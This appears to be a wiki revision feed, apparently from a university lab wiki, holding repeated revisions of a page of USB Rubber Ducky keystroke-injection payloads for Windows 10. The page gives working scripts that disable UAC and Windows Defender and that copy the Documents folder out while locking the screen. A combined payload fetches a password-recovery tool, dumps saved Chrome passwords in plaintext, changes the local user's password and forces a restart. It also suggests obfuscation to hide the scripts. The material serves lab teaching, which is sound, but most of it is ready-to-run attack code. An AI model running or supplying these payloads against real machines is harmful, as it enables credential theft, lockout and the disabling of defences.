ENTER&lt;br /&gt;
DELAY 3000&lt;br /&gt;
&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
REM 2. Part: Change the password of the Windows user&lt;br /&gt;
DEFINE #NEW_PASSWORD newpassword&lt;br /&gt;
&lt;br /&gt;
REM Execute Powershell with administrative rights&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI x&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING a&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFTARROW&lt;br /&gt;
DELAY 500&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
DELAY 3000&lt;br /&gt;
STRING net user $env:USERNAME #NEW_PASSWORD&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 2000&lt;br /&gt;
&lt;br /&gt;
STRING Restart-Computer -Force&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selenium script: browsernavigation.ps1&lt;br /&gt;
&lt;br /&gt;
The server prevents a direct download via link. The selenium script imitates an actual user, clicking on the link and inputting user credentials for download.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Load Selenium Modul&lt;br /&gt;
Import-Module Selenium&lt;br /&gt;
&lt;br /&gt;
# Start Driver&lt;br /&gt;
$chromePath = &amp;quot;C:\Program Files\Google\Chrome\Application\chrome.exe&amp;quot; &lt;br /&gt;
&lt;br /&gt;
# Set up Chrome options&lt;br /&gt;
$chromeOptions = New-Object OpenQA.Selenium.Chrome.ChromeOptions&lt;br /&gt;
$chromeOptions.BinaryLocation = $chromePath&lt;br /&gt;
&lt;br /&gt;
# Define path to new ChromeDriver&lt;br /&gt;
$chromeDriverPath = &amp;quot;C:\Users\User\Downloads\chromedriver-win64\chromedriver-win64&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Set up ChromeDriverService to use updated ChromeDriver&lt;br /&gt;
$service = [OpenQA.Selenium.Chrome.ChromeDriverService]::CreateDefaultService($chromeDriverPath)&lt;br /&gt;
&lt;br /&gt;
# Start ChromeDriver&lt;br /&gt;
$driver = New-Object OpenQA.Selenium.Chrome.ChromeDriver($service, $chromeOptions)&lt;br /&gt;
&lt;br /&gt;
# Navigate to NirSoft&lt;br /&gt;
$driver.Navigate().GoToUrl(&amp;quot;https://www.nirsoft.net/password_recovery_tools.html&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Ensuring interaction with the main content for consent-button&lt;br /&gt;
$driver.SwitchTo().DefaultContent()&lt;br /&gt;
&lt;br /&gt;
# Locate the consent button by its class and text (&#039;Einwilligen&#039;)&lt;br /&gt;
$button = $driver.FindElementByXPath(&amp;quot;//button[contains(@class, &#039;fc-button fc-cta-consent fc-primary-button&#039;) and contains(., &#039;Einwilligen&#039;)]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Click the button if found&lt;br /&gt;
if ($button -ne $null) {&lt;br /&gt;
    $button.Click()&lt;br /&gt;
    Write-Host &amp;quot;Consent button clicked.&amp;quot;&lt;br /&gt;
} else {&lt;br /&gt;
    Write-Host &amp;quot;No consent needed.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Click link&lt;br /&gt;
$link = $driver.FindElementByLinkText(&amp;quot;this download link&amp;quot;)&lt;br /&gt;
$link.Click()&lt;br /&gt;
&lt;br /&gt;
Start-Sleep -Seconds 1&lt;br /&gt;
&lt;br /&gt;
# Switch to the iframe containing the google ad&lt;br /&gt;
try {&lt;br /&gt;
    $iframe = $driver.FindElementById(&amp;quot;aswift_3&amp;quot;)&lt;br /&gt;
    $driver.SwitchTo().Frame($iframe)&lt;br /&gt;
    Write-Host &amp;quot;Switched to the iframe.&amp;quot;&lt;br /&gt;
} catch {&lt;br /&gt;
    Write-Host &amp;quot;Iframe not found.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Click dismiss-button&lt;br /&gt;
try {&lt;br /&gt;
    $dismissButton = $driver.FindElementByXPath(&amp;quot;//div[@id=&#039;dismiss-button&#039;]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    if ($dismissButton -ne $null -and $dismissButton.Displayed) {&lt;br /&gt;
        $dismissButton.Click()&lt;br /&gt;
        Write-Host &amp;quot;Dismissed clicked&amp;quot;&lt;br /&gt;
    } else {&lt;br /&gt;
        Write-Host &amp;quot;Dismiss button exists but is not visible.&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
} catch {&lt;br /&gt;
    Write-Host &amp;quot;Ad dismiss button did not appear.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Note: Even with the level bar of the Windows User Account Control setting no the hightest option “Always notify”, the the changes will be applied straight forward, without extra notification or password requests.&lt;br /&gt;
&lt;br /&gt;
References:&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky Rubber Ducky Documentation]&lt;br /&gt;
* [https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/execution/Change_the_password_of_the_windows_user Change the password of Windows User Attack]&lt;br /&gt;
* [https://www.nirsoft.net/ Nirsoft password recovery tool]&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* USB Rubber Ducky&lt;br /&gt;
* Windows 10 PC&lt;br /&gt;
* Ubuntu Linux 20.04 Virtual Machine&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Hak5 Rubber Ducky]]&lt;br /&gt;
* [[USB Rubber Ducky: Firmware Update]]&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://shop.hak5.org/products/usb-rubber-ducky-deluxe&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17048</id>
		<title>USB Rubber Ducky: Payloads</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17048"/>
		<updated>2024-12-12T21:04:24Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Chrome browser data exfiltration and changing the machine’s local users password */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
In this documentation we will show you examples for the usage of the USB Rubber Ducky on Windows 10 hosts.&lt;br /&gt;
There are many of ready-made Ducky Scripts found at:&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://github.com/hak5/usbrubberducky-payloads&lt;br /&gt;
wayback: http://web.archive.org/web/20220421035128/https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky#DuckyFlasher_Utility&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Article on the basics of the device: [[Hak5 Rubber Ducky]]&lt;br /&gt;
* If you need a different Rubber Ducky Firmware follow this guide: [[USB Rubber Ducky – Firmware Update]].&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference Ducky Script Quick Reference].&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All scripts have a DELAY 3000 at the start which means a delay of 30000ms / 30s to make sure that the target PC has time to set up the HID driver. The delays needed can vary, depending on the target host. The start delay can potentially be reduced to DELAY 1000.&lt;br /&gt;
The scripts could be further improved by adding obfuscation methods to the code. Terminal windows can be changed in colour and size to make them less obvious and much harder to read. USB Rubber Ducky can also be used to play harmless pranks on your colleagues and friends. Just be sure to clue them in beforehand and don’t let them panic.&lt;br /&gt;
&lt;br /&gt;
=== Hello World! ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
Like in all programming languages a basic hello world can be used to get to know the basic functionalities of the system. The following code is used to make a Windows PC open notepad, write “Hello World!” in large letters and save the file to the default directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 2000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING c:\windows\notepad.exe&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
ALT o&lt;br /&gt;
STRING f&lt;br /&gt;
TAB&lt;br /&gt;
TAB&lt;br /&gt;
STRING 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Hello World!&lt;br /&gt;
CTRL s&lt;br /&gt;
STRING totallynotavirus.txt&lt;br /&gt;
ENTER&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disable Windows Defender ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script is used to disable Windows User Account Control first and then disable all functionalities of the Windows Defender. This could be potentially used to prepare for a second stage of a multi-stage attack. It makes heavy use of menu navigation (Arrow keys, Tabs) and the Windows 10 Search menu. The value of the DELAY commands could be further reduced if used on a fast target host. Note that the script leaves no open windows after concluding its actions.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
REM Disabling User Account Control&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING uac&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
REM Disabling Windows Defender&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING virus pro&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
ALT F4	&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy Documents Folder to Ducky ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Twin Duck&lt;br /&gt;
&lt;br /&gt;
Before using this script, the USB Rubber Ducky must be updated with the Twin Duck firmware. Using this firmware, the Rubber Ducky acts both as a HID keyboard and a USB storage device. The script uses the Windows &#039;&#039;Run&#039;&#039; application to open the &#039;&#039;Documents&#039;&#039; directory and copies all its contents to the storage portion of the Ducky. Note that this script assumes that the storage device will be assigned the drive letter D and must be adjusted if reconnaissance shows another letter would be more likely. The script ends with locking the screen to better hide the copying process.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 300&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 100&lt;br /&gt;
STRING documents&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL a&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL c&lt;br /&gt;
DELAY 100&lt;br /&gt;
ALT F4&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 300&lt;br /&gt;
STRING d:\&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL v&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI D&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI l&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fake Update Screen ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script launches a website that fakes the Windows update screen in the systems default internet browser and sets it to Fullscreen mode. It can’t be easily exited by hitting the Escape-key and hitting the Enter-key results in a fake bluescreen.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING https://www.fakeupdate.net/win10ue/&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
F11&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Maximum Volume Autoplay Audio ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script showcases how Ducky Script can use the console to create Visual Basic Script files (*.vbs) that can be used to create endless loops of code. It uses the command &amp;lt;code&amp;gt;copy con&amp;lt;/code&amp;gt; to create two script files. The first script file is used to create a Windows Media Player object to play a sound file from start to finish from a provided online source. The second script creates a Windows Script Host Shell object that gives the “Volume Up”-command in an endless loop. The only way to end these scripts is by using the task manager or by restarting the system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cmd&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING del %tmp%\rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING del %tmp%\volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cd %tmp% &amp;amp;&amp;amp; copy con rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While true&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Dim oPlayer&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set oPlayer = CreateObject(&amp;quot;WMPlayer.OCX&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.URL = &amp;quot;http://tinyurl.com/s63ve48&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.controls.play&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While oPlayer.playState &amp;lt;&amp;gt; 1 &#039; 1 = Stopped&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WScript.Sleep 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.close&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING copy con volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING do&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set WshShell = CreateObject(&amp;quot;WScript.Shell&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WshShell.SendKeys(chr(&amp;amp;hAF))&lt;br /&gt;
ENTER&lt;br /&gt;
STRING loop&lt;br /&gt;
ENTER&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING start rickyou.vbs &amp;amp;&amp;amp; volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chrome browser data exfiltration and changing the machine’s local users password ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
In this demo the USB Rubber Ducky targets a Windows 10 host, that has a local user with administrative rights.&lt;br /&gt;
In a first step it graps the passwords stored in the Chrome browser’s password manager and outputs it in plaintext in a text file, stored on the local host machine’s download folder. In the second step it changes the host machine’s local user login password and restarts the computer.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Target Host:&#039;&#039;&#039;&lt;br /&gt;
* OS: Windows 10&lt;br /&gt;
* Software: Chrome browser&lt;br /&gt;
* Local user with administrative rights&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Pre-installations:&#039;&#039;&#039;&lt;br /&gt;
* For automated browser navigation with a script:&lt;br /&gt;
* [https://www.selenium.dev/ Selenium]&lt;br /&gt;
* [https://developer.chrome.com/docs/chromedriver/downloads?hl=de Chromedriver], according to the Chrome Browser version on the target host:&lt;br /&gt;
* Selenium script file on the host&lt;br /&gt;
* For file extraction: [https://www.7-zip.org/ 7-zip]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
REM Chrome browser user passwords exfiltration and local user&#039;s password change&lt;br /&gt;
REM 1. Part: Chrome browser user passwords exfiltration&lt;br /&gt;
&lt;br /&gt;
REM Open PowerShell and executing the selenium script&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING powershell -ExecutionPolicy Bypass -File path\to\browsernavigation.ps1&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 20000&lt;br /&gt;
STRING download&lt;br /&gt;
TAB&lt;br /&gt;
STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
DELAY 8000&lt;br /&gt;
&lt;br /&gt;
DELAY 3000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING powershell&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Get the current user&#039;s Downloads folder path&lt;br /&gt;
STRING $DownloadsPath = [System.Environment]::GetFolderPath(&#039;MyDocuments&#039;).Replace(&#039;Documents&#039;, &#039;Downloads&#039;)&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
&lt;br /&gt;
REM Unzip the downloaded ChromePass file&lt;br /&gt;
STRING &amp;amp; &amp;quot;pathto\7-Zip\7z.exe&amp;quot; x &amp;quot;$DownloadsPath\passreccommandline.zip&amp;quot; -o&amp;quot;$DownloadsPath&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Execute ChromePassCLI and save the extracted passwords in the Downloads folder&lt;br /&gt;
STRING Start-Process -FilePath &amp;quot;$DownloadsPath\WebBrowserPassView.exe&amp;quot; -ArgumentList &amp;quot;/stext $DownloadsPath\chrome_passwords.txt&amp;quot; -NoNewWindow -Wait&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 3000&lt;br /&gt;
&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
REM 2. Part: Change the password of the Windows user&lt;br /&gt;
DEFINE #NEW_PASSWORD newpassword&lt;br /&gt;
&lt;br /&gt;
REM Execute Powershell with administrative rights&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI x&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING a&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFTARROW&lt;br /&gt;
DELAY 500&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
DELAY 3000&lt;br /&gt;
STRING net user $env:USERNAME #NEW_PASSWORD&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 2000&lt;br /&gt;
&lt;br /&gt;
STRING Restart-Computer -Force&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selenium script: browsernavigation.ps1&lt;br /&gt;
&lt;br /&gt;
The server prevents a direct download via link. The selenium script imitates an actual user, clicking on the link and inputting user credentials for download.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Import-Module Selenium&lt;br /&gt;
&lt;br /&gt;
# Start Driver&lt;br /&gt;
$chromePath = &amp;quot;C:\Program Files\Google\Chrome\Application\chrome.exe&amp;quot; &lt;br /&gt;
&lt;br /&gt;
# Set up Chrome options&lt;br /&gt;
$chromeOptions = New-Object OpenQA.Selenium.Chrome.ChromeOptions&lt;br /&gt;
$chromeOptions.BinaryLocation = $chromePath&lt;br /&gt;
&lt;br /&gt;
# Define path to new ChromeDriver&lt;br /&gt;
$chromeDriverPath = &amp;quot;C:\Users\User\Downloads\chromedriver-win64\chromedriver-win64&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Set up ChromeDriverService to use updated ChromeDriver&lt;br /&gt;
$service = [OpenQA.Selenium.Chrome.ChromeDriverService]::CreateDefaultService($chromeDriverPath)&lt;br /&gt;
&lt;br /&gt;
# Start ChromeDriver&lt;br /&gt;
$driver = New-Object OpenQA.Selenium.Chrome.ChromeDriver($service, $chromeOptions)&lt;br /&gt;
&lt;br /&gt;
# Navigate to NirSoft&lt;br /&gt;
$driver.Navigate().GoToUrl(&amp;quot;https://www.nirsoft.net/password_recovery_tools.html&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Ensuring interaction with the main content for consent-button&lt;br /&gt;
$driver.SwitchTo().DefaultContent()&lt;br /&gt;
&lt;br /&gt;
# Locate the consent button by its class and text (&#039;Einwilligen&#039;)&lt;br /&gt;
$button = $driver.FindElementByXPath(&amp;quot;//button[contains(@class, &#039;fc-button fc-cta-consent fc-primary-button&#039;) and contains(., &#039;Einwilligen&#039;)]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Click the button if found&lt;br /&gt;
if ($button -ne $null) {&lt;br /&gt;
    $button.Click()&lt;br /&gt;
    Write-Host &amp;quot;Consent button clicked.&amp;quot;&lt;br /&gt;
} else {&lt;br /&gt;
    Write-Host &amp;quot;No consent needed.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Click link&lt;br /&gt;
$link = $driver.FindElementByLinkText(&amp;quot;this download link&amp;quot;)&lt;br /&gt;
$link.Click()&lt;br /&gt;
&lt;br /&gt;
Start-Sleep -Seconds 1&lt;br /&gt;
&lt;br /&gt;
# Switch to the iframe containing the google ad&lt;br /&gt;
try {&lt;br /&gt;
    $iframe = $driver.FindElementById(&amp;quot;aswift_3&amp;quot;)&lt;br /&gt;
    $driver.SwitchTo().Frame($iframe)&lt;br /&gt;
    Write-Host &amp;quot;Switched to the iframe.&amp;quot;&lt;br /&gt;
} catch {&lt;br /&gt;
    Write-Host &amp;quot;Iframe not found.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Click dismiss-button&lt;br /&gt;
try {&lt;br /&gt;
    $dismissButton = $driver.FindElementByXPath(&amp;quot;//div[@id=&#039;dismiss-button&#039;]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    if ($dismissButton -ne $null -and $dismissButton.Displayed) {&lt;br /&gt;
        $dismissButton.Click()&lt;br /&gt;
        Write-Host &amp;quot;Dismissed clicked&amp;quot;&lt;br /&gt;
    } else {&lt;br /&gt;
        Write-Host &amp;quot;Dismiss button exists but is not visible.&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
} catch {&lt;br /&gt;
    Write-Host &amp;quot;Ad dismiss button did not appear.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Note:&lt;br /&gt;
* Even with the level bar of the Windows User Account Control setting no the hightest option “Always notify”, the the changes will be applied straight forward, without extra notification or password requests.&lt;br /&gt;
&lt;br /&gt;
References:&lt;br /&gt;
* Rubber Ducky Documentation: &lt;br /&gt;
* Change the password of Windows User Attack:&lt;br /&gt;
* Nirsoft password recovery tool for web browsers:&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* USB Rubber Ducky&lt;br /&gt;
* Windows 10 PC&lt;br /&gt;
* Ubuntu Linux 20.04 Virtual Machine&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Hak5 Rubber Ducky]]&lt;br /&gt;
* [[USB Rubber Ducky: Firmware Update]]&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://shop.hak5.org/products/usb-rubber-ducky-deluxe&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17047</id>
		<title>USB Rubber Ducky: Payloads</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17047"/>
		<updated>2024-12-12T20:36:23Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Chrome browser data exfiltration and changing the machine’s local users password */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
In this documentation we will show you examples for the usage of the USB Rubber Ducky on Windows 10 hosts.&lt;br /&gt;
There are many of ready-made Ducky Scripts found at:&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://github.com/hak5/usbrubberducky-payloads&lt;br /&gt;
wayback: http://web.archive.org/web/20220421035128/https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky#DuckyFlasher_Utility&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Article on the basics of the device: [[Hak5 Rubber Ducky]]&lt;br /&gt;
* If you need a different Rubber Ducky Firmware follow this guide: [[USB Rubber Ducky – Firmware Update]].&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference Ducky Script Quick Reference].&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All scripts have a DELAY 3000 at the start which means a delay of 30000ms / 30s to make sure that the target PC has time to set up the HID driver. The delays needed can vary, depending on the target host. The start delay can potentially be reduced to DELAY 1000.&lt;br /&gt;
The scripts could be further improved by adding obfuscation methods to the code. Terminal windows can be changed in colour and size to make them less obvious and much harder to read. USB Rubber Ducky can also be used to play harmless pranks on your colleagues and friends. Just be sure to clue them in beforehand and don’t let them panic.&lt;br /&gt;
&lt;br /&gt;
=== Hello World! ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
Like in all programming languages a basic hello world can be used to get to know the basic functionalities of the system. The following code is used to make a Windows PC open notepad, write “Hello World!” in large letters and save the file to the default directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 2000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING c:\windows\notepad.exe&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
ALT o&lt;br /&gt;
STRING f&lt;br /&gt;
TAB&lt;br /&gt;
TAB&lt;br /&gt;
STRING 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Hello World!&lt;br /&gt;
CTRL s&lt;br /&gt;
STRING totallynotavirus.txt&lt;br /&gt;
ENTER&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disable Windows Defender ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script is used to disable Windows User Account Control first and then disable all functionalities of the Windows Defender. This could be potentially used to prepare for a second stage of a multi-stage attack. It makes heavy use of menu navigation (Arrow keys, Tabs) and the Windows 10 Search menu. The value of the DELAY commands could be further reduced if used on a fast target host. Note that the script leaves no open windows after concluding its actions.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
REM Disabling User Account Control&lt;br /&gt;
CTRL ESC&lt;br /&gt;
